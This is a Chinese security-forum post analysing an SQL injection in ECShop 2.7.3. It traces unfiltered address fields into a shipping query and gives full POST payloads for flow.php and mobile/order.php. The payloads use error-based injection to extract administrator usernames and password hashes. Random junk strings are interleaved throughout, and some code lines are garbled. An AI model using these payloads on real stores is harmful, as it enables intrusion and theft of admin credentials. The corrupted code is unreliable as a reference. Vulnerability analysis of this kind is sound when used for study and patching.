中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
9 ?8 Z1 s) D5 `3 m! y2 U0 |+ F- C6 A
    漏洞关键文件:% d" y3 @+ A9 W2 c

$ ?% {8 H1 F( w$ w    /includes/lib_order.php
7 w3 x: S, @) L8 S( G5 n9 b8 ?- L. t& P
    关键函数:
" ^' K) I  N+ q) q# A; z6 G- d' q1 h0 F. L7 O
5 _, v  N- g2 v5 r' F

" @8 F1 Q) B4 c01     function available_shipping_list($region_id_list) . T/ C8 U  K6 q. F
1 y8 i  ]9 Q- b- t! O+ H: l2 a
02 { ( N7 x9 h8 y! U9 T3 v5 J
& Q8 u6 {  k" ]9 s6 R0 M- M
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
  B" {. o0 {' I3 w. O! `" g: D. c4 \7 `3 x- ^9 p! K4 ]
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .   o7 b4 r8 m3 R# t) Q( l

3 t; d/ q, e! Q# o05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 3 b7 w+ F2 B8 O2 ~2 r3 h

) b5 |5 v! D' @5 k  M06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
5 c( s0 ^0 X2 a- L4 ~7 q% T3 T
% W4 G" ]/ x3 k  k07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ( ?( c* ^6 y! k& d& K- l2 W- Q
  z- t4 t1 Y/ j; e( K& n9 q6 }
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
$ |4 p2 V) p& c7 l1 T$ _2 R
) {- |; h* }( i7 ?, [09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
/ r  ]/ n) m$ ^+ x! C) q
- R" F/ ~+ C2 _( h3 e10   4 W+ _2 _, m1 x1 G5 u

! T' c* V. ~0 b3 F2 {! @/ y' t2 u11     return $GLOBALS['db']->getAll($sql); # e" J' K5 m5 r' n. ?6 o4 s

7 x' `/ f% x( A4 `' h" W12 } 9 X& G; |: m! d& ^5 m

! A1 T. E7 R+ Y' m# p, w0 W! H显然对传入的参数没有任何过滤就带入了查询语句。) C! D6 m& }1 h4 p& u9 g4 k

8 D( P4 I5 j, j0 i+ Z6 J7 e% v下面我们追踪这个函数在flow.php中:
3 E. q/ `# S+ P: a 第531行:   ; S" s' [: y. L2 ?$ D6 A3 F, u

: Y  @: g" k5 b& q1 $shipping_list     = available_shipping_list($region);
/ w8 S$ w' b% j$ ?' |
/ j6 I+ _1 B* d9 E
' v- W! m$ k  D! F3 _$ b$ H. {+ F  |9 D" Y  z7 l9 E% {

1 T6 h+ R. i, d. j' `+ ]
1 l. ~( Z7 d& W+ K( Z: t! J; n" N再对传入变量进行追踪:
5 l7 a0 J4 t4 X( {8 O
$ K- y  t' j, }! R0 p8 H第530行:    * K. c  n. [+ _  t: Z- \% m
; I1 J, z" v- I6 ?) `' z, o
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
5 Q4 e9 j2 K' z: ?2 e: y+ w: w6 L. A# b5 y

  n7 F, y/ h3 W7 _4 V( Y
, [8 I4 x" b, l* b+ t5 h " i4 Z' {3 P. T4 h

" ^: n9 j5 S' X' ~& S: T第473行:        9 V, C) c, S" R' Y# G5 p
& U  ~& v* h0 K' S$ G$ G% V+ _4 D
1 $consignee = get_consignee($_SESSION['user_id']); 4 @7 j% h5 v1 j
% q- _8 q! n, t# b) x7 ]
到了一个关键函数:
! {3 k$ b) }, @; T& h% J9 k- f' n) T0 s5 ?
/includes/lib_order.php/ E4 K$ O! }) y7 V3 H
: Y) C8 T2 w+ `

3 T( x; I9 M8 r% U3 H5 G' I; m) G6 b

% I2 i4 x, U% G# o. P/ u/ y" [- f  r$ d( a+ t+ T7 l4 J: ?
01 function get_consignee($user_id) / w* `9 d5 ]! w2 C4 J. Y

; i) a8 G0 g6 Q* m2 n1 {7 h02 { % D  n1 a9 {( T9 l- g
: o, K# @& ?0 m; u, F
03     if (isset($_SESSION['flow_consignee'])) + j( T. j! s" v* R9 M# p% a

7 N. w4 q; r3 o. _04     {
6 t) k8 @# A$ ~" O3 n6 }8 t
& b' Y0 \: V. R0 n7 G05         /* 如果存在session,则直接返回session中的收货人信息 */ 1 }. d) s& e/ \  H

# X9 f0 u8 B8 h% D4 Z: ^) W0 X06   
& w$ S8 o) P! P, u  k5 b# I: d  ?# C8 c
07         return $_SESSION['flow_consignee'];
& i; E' P2 V! ^" _. k" K* r4 s; I- l
08     }
% B7 G0 C8 A! r: ]9 W7 ]- |% t, l, y9 V4 U7 Q6 O
09     else : ^6 `2 ~8 n* Y# |9 N4 j

2 Z( o, c! X2 p  f10     { ( D* z9 G8 z% L. {, y3 A
/ p! [1 Y, z/ Z- L, U
11         /* 如果不存在,则取得用户的默认收货人信息 */ 7 |3 P' c5 c1 m
) E6 G) x2 N. U3 H4 ^. o3 c% c; z
12         $arr = array(); $ d4 H6 @/ S. l* ^2 K
# d( v* ^$ W/ I
13   : M3 e9 F$ g6 F  r5 Q
( ~/ g: ?! M- e" |9 D
14         if ($user_id > 0)
" ~! n, G( j  S3 }9 ~5 \: ^. F! e0 ^4 N3 C! A
15         {
+ Y9 t4 Z; x$ A1 Q" E* E6 i  A$ j0 L/ R2 E0 K
16             /* 取默认地址 */ ' A4 V2 [& u/ W" i0 e7 f
$ t/ j* [4 o2 Q  Z  J
17             $sql = "SELECT ua.*".
9 F+ d! U0 }" L/ _) Z
2 \: D( Q8 u, U. }$ Y18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
! N0 p! {' S8 Z" x4 N  t
& l) ?0 I, t$ I6 H8 ^# p19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
+ m4 d& b% w8 _1 X- _9 ^9 w5 w; f  K: E3 s: Q% O
20   
9 I: ]: _2 F! A$ G  M5 b; J- P/ \& s7 T
21             $arr = $GLOBALS['db']->getRow($sql);
' p1 l; w* C( D+ [0 r) Z2 \- ?: C6 {" a2 H3 u
22         } # d. F/ O6 ]/ `  c
2 R) c% R0 y+ s; I# W2 |0 s
23   
' ^4 x+ u% B; H
! r! ~# E& I# u24         return $arr;
! i5 j2 Z* `' g5 m
# p: ~1 m" _0 Y  q/ }0 Z' t25     } 1 x/ D! @& w, [2 g( r' G/ k

6 M" |- Z7 d; I% O  D# {, z26 }
- r1 _7 D) @: M* j  z1 ?3 E: q! G# a
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?2 r; K0 x/ v$ W
4 @, u6 R3 K+ ]7 ]8 h! t1 y
9 d+ I2 N  M. v6 d
/ [& _. b" X8 X/ n4 L% Q; k
关键点:
! @# g" f) S9 U' C. T- u: B6 |5 f; o  G9 ]
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
) j6 W# H# l* A; k
3 K0 s) E% X2 |! {) O这里对传入参数反转义存入$_SESSION中。
5 k( Z4 f1 t; g0 K. @# d, T! Y, ~0 V, Q+ {0 @
/ d0 c1 `6 S* z. o
6 E7 E9 N& O0 J# g! W
然后看下:- R3 h* r6 d$ P: M* K) T7 _* t
& @; U3 }0 ~$ D7 Z

! A+ ^% [" b& M% J; d; @
2 X$ _) P9 B- M0 V    % e. S1 j6 t6 h; {
: V7 P/ |7 Z( L& X# u
01 $consignee = array( % G6 g# F3 L( F- G  H' f! t- L

( ]. k5 V, j: E( [7 i02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
  a/ E8 I! |* l8 U- z7 W
7 a  r" X% _& a; \03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 7 Q  A+ k, R0 T- o2 b
5 u" v; j7 U2 [: ?$ @
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
* U" L0 t; O: o0 y- s9 c1 r7 ~1 p2 C4 G% Z
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
/ q. w, ?" P! S
4 w; c* ]4 u, i5 r7 q8 E2 L06         'city'          => empty($_POST['city'])       ? '' _POST['city'], : }  C3 g" ~8 U* n

; s6 \* S2 u$ Q( [+ Z3 o* \07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
. R+ Y' [. @# w+ Y# K" O% f5 b* W2 e# Z' N3 r1 q% B/ R
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
$ `9 o) @8 U# Y+ ]" O) ?
% j7 |6 _) O/ ~5 z09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
2 r) v* b0 p1 O5 ]. ^# ]
" U6 A9 F/ M' ~" @* [10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 1 z) H0 L5 Q8 C5 p8 ~( {, P* m% U4 {

  k* n" B6 i4 W, t11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 9 K5 U9 @* l$ ?" x

, x- h1 f4 [- r5 r5 V: ?$ E2 v" x12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), . [- ^8 L3 Y! h1 |: C$ h2 O9 M2 i

* @) A) b9 r& C: u3 H13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
. b' ]" b- h" Y1 D. C" W& c7 \: {+ Q7 ^/ p4 l
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], " _! k( f# d3 M
, p8 c; n: w0 O. A  E
15     ); 0 X; a2 `+ Q" W  @! l" r
3 S; W' ^9 W" M/ n# M5 [! t* E5 `6 ~* S
好了注入就这样出现了。
* ]' R- b2 f' L- T0 V; e, e- E
2 ?* S- I& L) V4 T5 L" V; f==================
! C& ~1 S6 ]2 n) D  C
# E8 X; f# o" v注入测试:
" r  w! z; j3 I' A7 l, t9 A2 u: }" k
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)+ w2 p  \& d0 i2 Y6 C# {8 x
- V, u  r0 h! C+ |* ]) L, Z$ \
测试程序:ECShop_V2.7.3_UTF8_release1106
! S! s+ Y  \8 L
* t$ |4 c/ a- j$ S
2 B7 b2 I, N$ D7 v4 |# Z" B
- P5 i' c9 X" x  z) e" [/ n1.首先需要点击一个商品加入购物车5 b6 @& _# O- B+ x

/ x: ~6 C2 e" I4 R; `2.注册一个会员帐号
- n1 Y. Z7 l  ?! v" _8 R
3 ~/ H3 Z& l: L' I9 w3.post提交数据& a$ n' o% p: ~6 T8 n, E. ?
3 Z' l9 X( l0 W6 a' m$ K: {4 X
9 x) j* G! i: `) Q

2 y' X' n0 k* b6 d1 _" \. R! |. J1 http://127.0.0.1/ecshop/flow.php / a! g3 e, N2 p0 }- }) |8 V' N" a

$ x1 B: R2 q( W8 m$ ^, N& l! M2   7 o/ P) o& S1 z/ v
' C( G# k- x4 E& n( h8 ?7 c
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
9 N; C2 d8 i+ l* a$ ^举一反三,我们根据这个漏洞我们可以继续深入挖掘:
, ~' |% W& W- }: ^) U9 z* I5 {5 F0 m+ r- k( ~3 A+ }
我们搜寻关键函数function available_shipping_list()
: m! x& T4 D+ q
0 ?( Z$ K/ I) a- V6 t( }在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
: k3 V# v8 y( a" S/ B" s* R( K+ o% R# |" F) L( L1 \0 l
利用exp:. P* h7 b. W2 y

9 I6 I- Q* y, J' ?: l1.点击一个商品,点击购买商标
1 D1 W8 s! k" c0 n% k, p( _+ J; e8 E5 P1 _) K, K
2.登录会员帐号
  q/ Z2 n' v" p$ C6 `) x
+ s0 R9 ]2 R# a3.post提交:
) T0 y; B; {+ N
, ^" ~, A! q$ S& `2 Khttp://127.0.0.1/ecshop/mobile/order.php/ v5 j: q7 T8 Q( r9 a

6 u) ]+ b3 s5 N8 F4 c+ c( t
* S: t  i# `; F2 c) q# B+ b& T2 b& I  [  P# A
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=) e0 t' e' |) y
" j  b1 F9 d1 A





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2